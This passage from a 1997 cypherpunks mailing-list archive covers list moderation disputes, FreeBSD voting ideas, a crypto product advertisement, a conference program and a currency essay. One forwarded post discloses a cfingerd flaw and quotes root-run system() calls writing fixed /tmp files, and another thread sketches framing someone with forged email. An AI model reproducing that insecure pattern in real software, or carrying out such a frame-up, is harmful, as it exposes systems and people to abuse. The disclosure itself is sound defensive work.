negative votes, since to obstruct progress requires a number of votes
equal to the outstanding proposals, but to move forward a proposal only
requires a number of votes equal to the proposal.  Blind obstructionism
(and blind advocacy) are uneconomical.  That's the point of having
more than one vote to potentially spend on an issue, with potentially
more issues than you can vote on all of them.  You will have to pick
you battles carefully if you want to avoid being lost in the noise.


> 	- How does one prevent factional deal making?

It won't, really, if there are places for deals to be made, and there
are accurate vote tallys published (promoting last minute bid frenzies,
auction-like behaviour).

> 	- Should weights decline over time in the same manner as
> 	  an infinitely trainable adaptive neural network?

There is a limit on the amount of weight you can throw around in a
given time because of the high water mark on the number of tokens it's
possible to build up on account.  Again, you have to pick your battles
or you will be lost in the noise.

> What about retrospectivity? On the one hand you entrench a
> pre-democratic feudal power structure and end up like Mandela's
> South Africa; a constitutionally reformed non-racially discriminatory
> capitalist society in which the blacks have all the votes, but
> the whites have all the capital. On the other (FreeBSD) hand the
> whites did all the work.

In the abstract, if you are willing to do the work, you are more
likely to throw three votes than one for a given topic.  If you are
just being obstructioninst, you will likely throw only one vote so
that you can keep being obstructionist later.

For reciprocity, it's possible to charge off percentages in the
win/lose case to bias the power concentration: if your side wins, it
costs you one less token then you voted, etc..  Again, initial
bylaws are established through constitution provision: "we have the
power that is being shared, therefore, these are the weights".


> Certainly a very interesting social engineering experiment; there
> is room here for long excursions into probability theory, game
> theory, cryptographic voting protocols (extending to protocols
> not traditionally seen as voting protocols such as Rabin's m/n
> secret sharing scheme), all excellent paper fodder.

Heh.  I was thinking more in terms of its value as a cascade trigger
to increasingly complex social organisms in the Internet implementation
space.  Representational democracies (republics, really) came about
because of rate limits on communication.  The US could not elect a
president by popular vote because there were no methods of verification,
and communication rates were limited by travel time.  Therefore, the
US has an Electoral College.  But a side effect of this structure is
a bias for bipartite seperation of interests, instead of seperation
into as many interest groups as it takes to do the job of mapping the
interest space.  This bias is not removed because the bipartite
interests have (and must continue to have) the power concentration.
This leads to continued "wasted vote syndrome", where people vote
for the lesser of two evils instead of voting their conscience... an
effect of mass psychology.  Similar pressures prevent the polling
times from being changed to opening at 8am EST and closing at 8am EST
to prevent early returns from earlier time zones influencing the
outcome of elections before people in later time zones have even voted.
For example, Ross Perot got almost 20% of the vote in the 1992
election, but 0% of the electors.  He would still have lost, given
the actual values.  There is actually a case in US history where the
winner of the electoral vote lost the popular vote... the president
was not chosen by the people, but by the electors.


> It would definitely attract a lot of welcome attention to FreeBSD.

It would be worth one or more articles in WIRED, actually, as well
as more scholarly sociology journals.  Maybe even "Wall Street Journal"
would run "Multinational Democratic State Declares Independence in
Cyberspace" or a similar silly headline.


> When viewed strictly as an experiment this idea has a lot
> of merit. If it actually pans out, then well and good, if not,
> then it could be used as some kind of Sawick poll.

Yep.  The reason I went weighted, by the way, was the volunteer
nature of the project.  In theory, number of vote tokens spent
should be proportional to willingness to actually volunteer.  As
you point out, there could be feedback here as well: for instance,
if a proposal passes, if it is completed, the tokens spent on
the vote could be refunded to those who voted for it.  If it dies
on the vine, the tokens could be refunded to those who voted
against it.  Being right would give you more license to participate,
and being wrong would not, etc..  Again, a matter for the initial
bylaws.


					Regards,
					Terry Lambert
					terry@lambert.org
---
Any opinions in this posting are my own and not those of my present
or previous employers.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steven L Baur <steve@miranova.com>
Date: Thu, 23 Jan 1997 17:11:26 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: fingerd
In-Reply-To: <199701231426.GAA15678@toad.com>
Message-ID: <m2k9p3hnp9.fsf@altair.xemacs.org>
MIME-Version: 1.0
Content-Type: text/plain


snow  writes:

>> > Couple of things you can do:
>> >     2.  Install a more secure "fingerd" such that it only
>> >         allows "finger `userid@node.domain`" instead of
>> >         "finger `@node.domain`".

>     cfingerd can be gotten from:

cfingerd is not a safe program.  It must run as root, and has some big
problems.

Date: Wed, 18 Sep 1996 18:34:43 +0200 (MET DST)
From: Janos Farkas <chexum@shadow.banki.hu>
To: Administrador da Rede <admrede@opensite.com.br>
cc: linux-security@tarsier.cv.nrao.edu
Subject: Re: Finger Doubt
Message-ID: <Pine.LNX.3.95.960918181033.2523A-100000@shadow.banki.hu>


Howdy people!

On Tue, 17 Sep 1996, Administrador da Rede wrote:
> I use the newest version of cfinger, setted to not allow general finger, just
> specific ones. Does anyone knows how this person did that ? I hope I can
> find out, otherwise, bye bye finger service.

Badly.

I have sent the author a letter, but never got any reply back (it's 3
months later now!), so I just take the opportunity to warn the public
against its use.

Excerpts from the source (1.2.3, older versions have been a bit more
directly broken, now it has root privs only at the moments it shouldn't
have.)

	"This daemon must be run as root!"

[And unfortunately, does..]

...
	unlink ("/tmp/fslist");
...
        sprintf(st, "%s | tail +2 >> /tmp/fslist",
            prog_config.finger_program);
        ...
	system(st);

A similarly terrible one some lines later:

	system("cat /tmp/fslist | sort > /tmp/fslist.sort");

As it stands, it can allow any local user to destroy any file on the
system, including partition tables on disks.  Please someone correct me if
I am wrong, I tried this with cfingerd-1.2.2 and it allowed me to do bad
things.

I was a bit disappointed by the lack of any reply from the author, so I
think I am now justified to tell that

if anyone installed cfingerd (about 1.1 or later) on his system, disable
it IMMEDIATELY, until at least the author clarifies this bug in a new
version.  The current version is BAD.

However if you just need a finger daemon, you may take a look at xfingerd,
at
ftp://ftp.banki.hu:/pub/xfingerd/xfingerd-0.1.tar.gz
which is the one I wrote when I got desperate about cfingerd. (If you take
a look at its date stamp, you can see that cfingerd is long broken..)  I
too can't garantee that it's good for you, but it at least doesn't require
to be run as root, which is why I started being against cfingerd.

I hope this note finds everyone concerned.

Janos


-- 
steve@miranova.com baur
Unsolicited commercial e-mail will be billed at $250/message.
Real men aren't afraid to use chains on icy roads.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Cordian <emc@wire.insync.net>
Date: Thu, 23 Jan 1997 16:09:19 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: [Noise] From The Onion
In-Reply-To: <199701231634.LAA07092@homeport.org>
Message-ID: <199701240009.SAA02384@wire.insync.net>
MIME-Version: 1.0
Content-Type: text/plain


> SATAN TO REVISE BAR CODE SYSTEM 

[snip]

Not to be outdone, Satan's major competitor, Choronzon, Chief Demonic
Officer and only resident of the accursed 10th Aether of the Enochian
System, today announced his own plans for a system to label his mortal
followers and regulate their business transactions. 

"Stamping numbers on the foreheads and hands of individuals is primitive
technology," Choronzon explained, snapping his barbed tail, and emitting 
a sulphurous plume.  "We are pleased to announce our plans to identify
our followers using digital watermarking technology licensed from RSA
Data Security, Inc."

Implementation of the scheme, which will involve the encoding of a 
subtle full-body pattern into each individual by surface ablation with
high powered eximer lasers, will be managed by Choronzon's Supreme
Legate to the Material World, Jim Bidzos.

--
Eric Michael Cordian 0+
O:.T:.O:. Mathematical Munitions Division
"Do What Thou Wilt Shall Be The Whole Of The Law"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Asgaard <asgaard@cor.sos.sll.se>
Date: Thu, 23 Jan 1997 10:12:48 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Fighting the cybercensor. (fwd)
In-Reply-To: <199701230212.SAA03079@toad.com>
Message-ID: <Pine.HPP.3.91.970123183921.15141A-100000@cor.sos.sll.se>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, 22 Jan 1997, Jim Choate wrote:

>The Web does not equal the Internet, straw man argument.

A semantic comment:

We here all know that this is right but it's obvious that
the language is sliding towards Internet = Web. Most people
using tcp/ip email don't think about this as using the Internet.
Another list I'm on has recently set up a Hypermail site on
the Web, mingling transparently with the list, for those who
are overwhelmed by 100 posts a day (it's a proffessional list
unrelated to computers per se). When people here about it they
say: 'Wow, I didn't know you had access to the list on the
Internet too!' It's treated the same on television, in the US as
well as here in Sweden, Internet = Web and nothing else.

It will be hard for us who have been around for a while, and
to fresh computer litterates who know something of what's behind
the screen, to relearn the use of the term 'Internet'. But we
will eventually have to accept it or become 'dinosaurs', that's
the way language evolution works.

Asgaard







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@einstein.ssz.com>
Date: Thu, 23 Jan 1997 17:31:32 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Fighting the cybercensor. (fwd)
Message-ID: <199701240138.TAA10898@einstein>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Thu, 23 Jan 1997 18:59:34 +0100 (MET)
> From: Asgaard <asgaard@Cor.sos.sll.se>
> Subject: Re: Fighting the cybercensor. (fwd)
> 
> >The Web does not equal the Internet, straw man argument.
> 
> A semantic comment:
> 
> We here all know that this is right but it's obvious that
> the language is sliding towards Internet = Web. Most people

Typical modern American attitude, getting it right is too much work so let's
lower the benchmark so anyone can be 'right'. You'll be supporting Ebonics
next.

Blah.


                                                Jim Choate
                                                CyberTects
                                                ravage@ssz.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@einstein.ssz.com>
Date: Thu, 23 Jan 1997 17:35:28 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Fighting the cybercensor. (fwd)
Message-ID: <199701240142.TAA10917@einstein>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Thu, 23 Jan 1997 02:58:41 -0800
> From: Toto <toto@sk.sympatico.ca>
> Subject: Re: Fighting the cybercensor. (fwd)
> 
> > If the people in those counties want to give away their freedom that
> > is their business (and right), not mine, yours, or this countries unless
> > there is evidence they are trying to take their views and impose them here.
> 
>   Right. And if someone 'chooses' to give their money to a thief with
> a gun, then it is not the business of other people, or the police.
>   I would hate to interfere with someones 'right' to get robbed,
> raped, or murdered.

This is a perfect example of why we disagree. You feel society has the same
responsibilities as an individual, I don't.

Countries and societies are a tightly linked concept because man is a social
animal. Trying to equate this to an individual who chooses to ignore the
moral, ethical, and legal standards of their society is a non-sequiter.


                                                Jim Choate
                                                CyberTects
                                                ravage@ssz.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Thu, 23 Jan 1997 16:52:39 -0800 (PST)
To: cypherpunks@toad.com
Subject: GOO_gol
Message-ID: <1.5.4.32.19970124004734.006dc1a4@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


Richard Crandall, NeXT scientist, writes eloquently on large 
numbers in February SciAm. He cites cryptographic strength as
one result of research on the gargantuan googol and googolplex. 
He reviews current work on sieve techniques for factorization 
-- Quadratic, Number Field, Elliptic Curve Method and others -- 
as well as advanced algorithms. And exclaims:

   Blaine Garst, Doug Mitchell, Avadis Tevanian, Jr., and I
   implemented at NeXT what is one of the strongest -- if
   not the strongest -- encryption schemes available today,
   based on Mersenne primes. This patented scheme, termed
   Fast Elliptic Encryption (FEE), uses the algebra of
   elliptic curves, and it is very fast.

-----

GOO_gol


Thanks to PJP for pointing.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: DataETRsch@aol.com
Date: Thu, 23 Jan 1997 18:36:45 -0800 (PST)
To: cypherpunks@toad.com
Subject: If you were unable to download UDCM V2.0 before....
Message-ID: <970123175027_375471135@emout09.mail.aol.com>
MIME-Version: 1.0
Content-Type: text/plain


{If you were unable to download UDCM V2.0 before, we're extremely sorry.}
{UDCM's web site may have been under construction during the time you
visited.}
{UDCM's web site has finished undergoing its changes and will operate
correctly.}
{UDCM V2.0 has been extensively modified from its previous variation.}
{Digital signaturing and public key cryptosystem capabilities have been
added.}
{UDCM's DS and PKCS techniques do NOT make use of conventional PN factoring.}
{UDCM's source code is currently unavailable. PLEASE DO NOT REQUEST IT.}
{UDCM's on-line help documentation has also been extensively modified.}
{This advertisement has also been modified.}

Hello,

Greetings! I am Jeremy K. Yu-Ramos, president of DataET Research, Data
Engineering Technologies. I am sending you this message to let you know that
DataET Research has recently initiated the distribution of UDCM, Universal
Data Cryptography Module. UDCM implements a revolutionarily new, extremely
advanced and sophisticated, digital data encryption algorithm named IMDMP,
Integrated Mathematical Data Manipulation and Positioning.

UDCM (the IMDMP algorithm)...

o Is a royalty-free Windows DLL module featuring advanced cryptography.
o Contains more than 150 procedures and functions.
o Is a very cost-effective size of only 60 kilobytes.
o Implements the IMDMP encryption algorithm.
o Allows encryption keys as large as 2048 bits.
o Includes 18 sub-algorithms.
o Processes all forms of binary and ASCII files.
o Allows multiple encryption layer levels.
o Has absolutely no back-doors or magical keys.
o Includes time and date locking features. 
o Includes file specific unique encryption features.
o Includes file authentication guard features.
o Includes digital signaturing capabilities.
o Implements the public key cryptosystem method of security.
o Includes data importance and sensitivity stamping features.

UDCM, being a Windows DLL module, can be accessed through programs developed
with popular application and database programming languages and environments
such as: C, C++, Visual Basic, PowerBuilder, Delphi, OOP Pascal, Turbo
Pascal, dBase, Paradox, Access, Sybase, Oracle, etc. 

DataET Research has released a shareware version of UDCM named UDCM V2.0.

To download UDCM V2.0 for free, please go to:
http://members.aol.com/dataetrsch/udcm.html.

I hope you will consider applying UDCM in the software you develop. Thank-you
very much for your time.

Sincerely,

Jeremy K.Yu-Ramos
President
DataET Research
Data Engineering Technologies




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Thu, 23 Jan 1997 20:11:06 -0800 (PST)
To: DataETRsch@aol.com
Subject: Re: If you were unable to download UDCM V2.0 before....
In-Reply-To: <970123175027_375471135@emout09.mail.aol.com>
Message-ID: <199701240406.WAA07933@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Mr. Ramos, 


You promised to release the algorithm of your program as well as
crypto-relevant source code. You promised to do it atfer a month, and
the time has come. We are eagerly awaiting the promised code.

Thank you so much for your openness.

igor

DataETRsch@aol.com wrote:
> 
> {If you were unable to download UDCM V2.0 before, we're extremely sorry.}
> {UDCM's web site may have been under construction during the time you
> visited.}
> {UDCM's web site has finished undergoing its changes and will operate
> correctly.}
> {UDCM V2.0 has been extensively modified from its previous variation.}
> {Digital signaturing and public key cryptosystem capabilities have been
> added.}
> {UDCM's DS and PKCS techniques do NOT make use of conventional PN factoring.}
> {UDCM's source code is currently unavailable. PLEASE DO NOT REQUEST IT.}
> {UDCM's on-line help documentation has also been extensively modified.}
> {This advertisement has also been modified.}
> 
> Hello,
> 
> Greetings! I am Jeremy K. Yu-Ramos, president of DataET Research, Data
> Engineering Technologies. I am sending you this message to let you know that
> DataET Research has recently initiated the distribution of UDCM, Universal
> Data Cryptography Module. UDCM implements a revolutionarily new, extremely
> advanced and sophisticated, digital data encryption algorithm named IMDMP,
> Integrated Mathematical Data Manipulation and Positioning.
> 
> UDCM (the IMDMP algorithm)...
> 
> o Is a royalty-free Windows DLL module featuring advanced cryptography.
> o Contains more than 150 procedures and functions.
> o Is a very cost-effective size of only 60 kilobytes.
> o Implements the IMDMP encryption algorithm.
> o Allows encryption keys as large as 2048 bits.
> o Includes 18 sub-algorithms.
> o Processes all forms of binary and ASCII files.
> o Allows multiple encryption layer levels.
> o Has absolutely no back-doors or magical keys.
> o Includes time and date locking features. 
> o Includes file specific unique encryption features.
> o Includes file authentication guard features.
> o Includes digital signaturing capabilities.
> o Implements the public key cryptosystem method of security.
> o Includes data importance and sensitivity stamping features.
> 
> UDCM, being a Windows DLL module, can be accessed through programs developed
> with popular application and database programming languages and environments
> such as: C, C++, Visual Basic, PowerBuilder, Delphi, OOP Pascal, Turbo
> Pascal, dBase, Paradox, Access, Sybase, Oracle, etc. 
> 
> DataET Research has released a shareware version of UDCM named UDCM V2.0.
> 
> To download UDCM V2.0 for free, please go to:
> http://members.aol.com/dataetrsch/udcm.html.
> 
> I hope you will consider applying UDCM in the software you develop. Thank-you
> very much for your time.
> 
> Sincerely,
> 
> Jeremy K.Yu-Ramos
> President
> DataET Research
> Data Engineering Technologies
> 



	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike Reiter <reiter@research.att.com>
Date: Thu, 23 Jan 1997 19:12:40 -0800 (PST)
To: reiter@research.att.com
Subject: 4th ACM Conference on Computer and Communications Security
Message-ID: <199701240309.WAA01239@radish.research.att.com>
MIME-Version: 1.0
Content-Type: text/plain


	

        *** EARLY REGISTRATION DISCOUNT ENDS JANUARY 31 ***



    Fourth ACM Conference on Computer and Communications Security
               (Preliminary Technical Program)
                     Zurich, Switzerland
                      April 1-4, 1997
                   Sponsored by ACM SIGSAC


For more information, including registration and hotel information,
see: http://www.zurich.ibm.ch/pub/Other/ACMsec/index.html


================
TUESDAY, APRIL 1
================

4 half-day tutorials in two parallel tracks:

		Theory Track			Practice Track

Morning     Cryptography		CERT and Practical Network Security
            Jim Massey, Ueli Maurer	Tom Longstaff
	    (ETH Zurich)		(Software Engineering Institute)

				lunch

Afternoon   Internet Security		Info-Wars
	    Refik Molva			Paul Karger
	    (Eurecom)			(IBM TJ Watson)

==================
WEDNESDAY, APRIL 2
==================

09:00-09:30 Introduction and Opening Comments
			Richard Graveman (Bellcore)
			Phil Janson (IBM Zurich Lab)
			Li Gong (JavaSoft)
			Clifford Neuman (Univ. of Southern California)

09:30-10:30 Invited talk 1: To Be Announced

10:30-11:00 Coffee Break

11:00-12:00 Session 1: Fair Exchange of Information
			Chair: Philippe Janson (IBM Zurich Lab)

* Fair Exchange with a Semi-Trusted Third Party
  Matthew Franklin, Mike Reiter (AT&T Research)

* Optimistic Protocols for Fair Exchange
  N. Asokan, Matthias Schunter, Michael Waidner
	(IBM Zurich Lab and Univ. Dortmund)

12:00-14:00 Lunch

14:00-15:30 Session 2: Language and System Security
			Chair: Michael Waidner (IBM Zurich Lab)

* Static Typing with Dynamic Linking
  Drew Dean (Princeton University)

* Secure Digital Names
  Scott Stornetta, Stuart Haber (Surety Technologies)

* A Calculus for Cryptographic Protocols: The Spi Calculus
  Martin Abadi, Andrew D. Gordon (DEC SRC and Cambridge)

15:30-16:00 Coffee Break

16:00-17:30 Panel 1: Programming Languages as a Basis for Security
			Chair: Drew Dean (Princeton)
			Panelists: To Be Announced

Welcome Cocktail

=================
THURSDAY, APRIL 3
=================

09:00-10:30 Session 3: Authentication
			Chair: Ravi Sandhu (George Mason Univ.)

* Authentication via Keystroke Dynamics
  Fabian Monrose, Avi Rubin (New York Univ. and Bellcore)

* Path Independence for Authentication in Large-Scale Systems
  Mike Reiter, Stuart Stubblebine (AT&T Research)

* Proactive Password Checking with Decision Trees
  Francesco Bergadano, Bruno Crispo, Giancarlo Ruffo
	(Univ. of Turin)

10:30-11:00 Coffee Break

11:00-12:00 Invited talk 2: To Be Announced

12:00-14:00 Lunch

14:00-15:30 Session 4: Signatures and Escrow
			Chair: Martin Abadi (DEC SRC)

* Verifiable Partial Key Escrow
  Mihir Bellare, Shafi Goldwasser (UC San Diego and MIT)

* New Blind Signatures Equivalent to Factorisation
  David Pointcheval, Jacques Stern (ENS/DMI, France)

* Proactive Public-Key and Signature Schemes
  Markus Jakobsson, Stanislaw Jarecki, Amir Herzberg,
	Hugo Krawczyk, Moti Yung (UC San Diego, MIT, IBM Haifa Lab,
	IBM TJ Watson, and Bankers Trust)

15:30-16:00 Coffee Break
 
16:00-17:30 Panel 2: Persistance and Longevity of Digital Signatures
			Chair: Gene Tsudik (USC/ISI)
			Panelists: To Be Announced

Banquet Dinner

===============
FRIDAY, APRIL 4
===============

09:00-10:30 Session 5: Commerce and Commercial Security
			Chair: Jacques Stern (ENS/DMI, France)

* A New On-Line Cash Check Scheme
  Robert H. Deng, Yongfei Han, Albert B. Jeng,
	Teow-Hin Ngair (National University of Singapore)

* Conditional Purchase Orders
  John Kelsey, Bruce Schneier (Counterpane Systems)

* The Specification and Implementation of 'Commercial' Security
	Requirements including Dynamic Segregation of Duties
  Simon Foley (University College, Cork, Ireland)

10:30-11:00 Coffee Break

11:00-12:30 Session 6: Cryptography
			Chair: Mike Reiter (AT&T Research)

* On the Importance of Securing Your Bins:
	The Garbage-Man-in-the-Middle Attack
  Marc Joye, Jean-Jacques Quisquater (Univ. Louvain)

* Improved Security Bounds for Pseudorandom Permutations
  Jacques Patarin (Bull)

* Asymmetric Fingerprinting for Larger Collusions
  Birgit Pfitzmann, Michael Waidner
	(Univ. Hildesheim and IBM Zurich Lab)

12:30 Conference Adjourns





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: KALLISTE@delphi.com
Date: Thu, 23 Jan 1997 20:45:06 -0800 (PST)
To: cypherpunks@toad.com
Subject: Changing the Currency
Message-ID: <01IEKH3H68GO9AMI9C@delphi.com>
MIME-Version: 1.0
Content-Type: text/plain


                                      3
         Changing the Currency

          by J. Orlin Grabbe

     Lemme get this straight.  You left
home  and  went to one of them  foreign
places,  got a handful of their  money,
and it felt like "play money"?  But you
could  still  use it in  a  restaurant,
train  station,  or at  the  newsstand,
right?  Okay.  But  you  say  it  still
somehow  felt "unreal", and  you  never
were  able  to shake off that "monopoly
money" mind set?  Hmmm. Why is that?

      An  American in Paris who gets  a
100-franc  note with Eugene Delacroix's
picture  on it, often finds it  doesn't
kick  ass  like the US one-dollar  bill
with  George Washington's picture.  The
Parisian, on the other hand,  may  feel
that  the  watersnip on the 100-guilder
note  looks downright ridiculous, while
denizens of Amsterdam might prefer  the
bird  image  to  Sir Donald  Sangster's
ugly   face  on  the  Jamaican  hundred
dollar  bill.  The Swiss 50-franc  note
depicting  Konrad  Gessner  (1516-1565)
doesn't say anything about "In  God  We
Trust,"  but  on  the  other  hand   it
doesn't     display    the    obnoxious
"Counterfeiters  will  be   Prosecuted"
found  on  the  Russian 100-ruble  note
(vintage 1993).

      Money is funny.  That's why  more
than  ten  years ago when  the  Federal
Reserve was thinking of changing the US
currency, it formed focus groups in  an
attempt  to  gauge public reaction.  It
had  a  company called Market Facts  go
mall-trolling       for       potential
participants.  They went to the Seaview
Square  Mall in Ocean, New Jersey;  the
Buena   Park  Mall  in  Orange  County,
California;   the  Eastland   Mall   in
Charlotte, North Carolina; and the  Fox
Valley Center in Aurora, Illinois.  The
report  is entitled "Reactions to  U.S.
Currency  Redesign: Analysis  of  Focus
Group  Discussions," and was  submitted
to   the  Board  of  Governors  of  the
Federal Reserve System on September 21,
1983.

     The discussions were recorded, and-
-to  make sure every bit of information
was  properly gleaned--groups were also
observed in a conference room through a
one-way mirror.

      In general the groups stated that
while  they  did  not  care  about  the
appearance  of money, "they argued  not
to  change  it.  There was considerable
concern  that  our  money  would   look
'fake' or 'foreign.'  Participants also
wanted to know why the government would
want  to change the appearance  of  the
currency."

      The groups were divided into  two
categories:    "General   Public"   and
"Heavy Currency Handlers".  Someone who
took  orders at McDonald's  would  fall
into   the   Heavy   Currency   Handler
category.    The  later   groups   were
strongly of the opinion that money  was
"dirty"--not  in  the  Michael  Sindona
sense  of  turning "dirty"  money  into
"clean"   money--but  rather   in   the
"dirty," "shabby," "shoddy," and "worn"
sense.   Some said the US currency  was
the   dirtiest   in  the   world.    By
contrast,  a  person  in  one  of   the
General Public groups noted that  money
has   "the  denomination  on  all  four
corners."

       Some   of   the  Heavy  Currency
Handlers  thought it might  be  a  neat
idea  to have different colors for  the
different  denominations,  to  make  it
easier   to  make  change.   But   more
frequently it was remarked that "people
don't  like  change" or "the government
should leave well-enough alone."

       Today  we  know  that  the  real
rationale  for currency  change  is  to
make   the   currency   detectable   by
currency-detection     equipment     in
airports  (and possibly other places)--
in  order to detect money launderers or
anyone  else carrying large amounts  of
currency.   But  the  publicly-  stated
rationale is the misleading "prevention
of  counterfeiting."  In this light, it
is  interesting that numerous questions
were   directed  at  attitudes   toward
counterfeiting.

      Many  of  the  group participants
thought  counterfeiting was  a  serious
problem,  but "the majority  wanted  to
know  how  much counterfeiting actually
costs   the  public  each  year  before
taking  a  position on whether  or  not
currency should be changed."

     None of the participants admitting
to    any   inclination   to   actually
counterfeit money themselves,  even  if
they could do so without detection, but
about half of them said they would pass
along   counterfeit   bills   if   they
received them.  The other half  thought
that  passing  bogus  bills  would   be
morally  wrong.   But not  all  of  the
latter  would "turn in bogus  bills  to
the  authorities.   A few  participants
recounted  stories  of  persons   being
hounded by the FBI to recall where they
received  the  counterfeit bill--viewed
as a deterrent to reporting counterfeit
bills.  This  group opted,  rather,  to
quietly  destroy the bill and take  the
loss."

       The  report  concludes  that   a
Counterfeiting Threat should be used to
sell  the  idea  of  currency  changes:
"The   extent  of  counterfeiting  and,
thus, the importance of adopting a  new
form   of   currency  must  be   widely
publicized.  Without precise  knowledge
of  the  severity  of the  problem  the
public may assume that the benefits  of
adopting new money do not outweight the
costs."

      The  report  doesn't mention  any
special   information   discovered   by
observations made  through the  one-way
glass.

January 23, 1997
Web Page:  http://www.aci.net/kalliste/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rabid Wombat <wombat@mcfeely.bsfs.org>
Date: Thu, 23 Jan 1997 20:36:40 -0800 (PST)
To: "William H. Geiger III" <whgiii@amaranth.com>
Subject: Re: No Dimitri??
In-Reply-To: <199701231941.LAA24236@toad.com>
Message-ID: <Pine.BSF.3.91.970123222415.29625G-100000@mcfeely.bsfs.org>
MIME-Version: 1.0
Content-Type: text/plain




On Thu, 23 Jan 1997, William H. Geiger III wrote:

> -----BEGIN PGP SIGNED MESSAGE-----
> 
> 
> I have noticed that there has not been any post from Dimitri in a couple of
> days.
> 
> I am assuming that this means that the list moderation has now started?
> 

Actually, rumor has it that he landed a paying job designing ASCII art. ;)

-r.w.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Thu, 23 Jan 1997 20:39:06 -0800 (PST)
To: cypherpunks@toad.com (Cypherpunks)
Subject: Re: Airport security [no such thing]
Message-ID: <199701240432.WAA08250@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Dr.Dimitry Vulius K.O.T.M. wrote:
> Dale Thorn <dthorn@gte.net> writes:
> 
> > Igor Chudov @ home wrote:
> > > Dr.D. Vulius K.O.T.M. wrote:
> > > > Nurdane Oksas <oksas@asimov.montclair.edu> writes:
> >
> > > But think about this: suppose there is a couple, bob@household.com,
> > > and alice@household.com. Suppose that Rev. Mallory does not like bob.
> > > Mallory forges a lot of emails like "I can still taste your sperm
> > > on my lips", that appear to originate from Cindy@phonesex.org.
> > > Then, promptly, Mallory sends an anonymous alert to alice@household.com,
> > > warning her about naughty email activities of bob. Alice gets mad at him
> > > and divorces him.
> > > How would bob protect himself against such developments?
> >
> > Frame-ups are as old as time.  The ones that work the best are those
> > that are the most believable.  O.J., for example.  Unless Alice is
> > unusually flaky or paranoid, she'll consider her options against the
> > time she has invested in Bob.
> 
> Here's an interesting twist of Sandfort's moderation policy.
> 
> My article was crypto-relevant and flame-free and was tossed to
> cypherpunks-flames.
> 
> Igor's response to my article was also crypto-relevant and flame-free
> and was tossed to cypherpunks-flames.
> 
> Dale's response did not quote me, so it made it to the censored list.

Is it really true that my response was tossed out as flames?

It was crypto-relevant.

BTW, this is a more than perfect illustration why rejections
based on "shitstrings" are completely inappropriate for moderating.

I have nothing again "grey lists", when moderators are alerted when a
message containing certain suspicious word arrives (the way it's done in 
STUMP), but am opposed to autorejections (unless mods are mailbombed).

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 23 Jan 1997 20:23:02 -0800 (PST)
To: "William H. Geiger III" <whgiii@amaranth.com>
Subject: Re: No Dimitri??
In-Reply-To: <199701231941.LAA24236@toad.com>
Message-ID: <sqN11D3w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


"William H. Geiger III" <whgiii@amaranth.com> writes:

> I have noticed that there has not been any post from Dimitri in a couple of
> days.
>
> I am assuming that this means that the list moderation has now started?

Yes - anything I say is junked irrespective of content.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 23 Jan 1997 20:22:56 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Airport security [no such thing]
In-Reply-To: <199701230640.WAA06684@toad.com>
Message-ID: <ZXN11D4w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Dale Thorn <dthorn@gte.net> writes:

> Igor Chudov @ home wrote:
> > Dr.Dimitri Vulis KOTM wrote:
> > > Nurdane Oksas <oksas@asimov.montclair.edu> writes:
>
> > But think about this: suppose there is a couple, bob@household.com,
> > and alice@household.com. Suppose that Rev. Mallory does not like bob.
> > Mallory forges a lot of emails like "I can still taste your sperm
> > on my lips", that appear to originate from Cindy@phonesex.org.
> > Then, promptly, Mallory sends an anonymous alert to alice@household.com,
> > warning her about naughty email activities of bob. Alice gets mad at him
> > and divorces him.
> > How would bob protect himself against such developments?
>
> Frame-ups are as old as time.  The ones that work the best are those
> that are the most believable.  O.J., for example.  Unless Alice is
> unusually flaky or paranoid, she'll consider her options against the
> time she has invested in Bob.

Here's an interesting twist of Sandfort's moderation policy.

My article was crypto-relevant and flame-free and was tossed to
cypherpunks-flames.

Igor's response to my article was also crypto-relevant and flame-free
and was tossed to cypherpunks-flames.

Dale's response did not quote me, so it made it to the censored list.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 23 Jan 1997 20:22:25 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: No Dimitri??
In-Reply-To: <199701232156.NAA27695@toad.com>
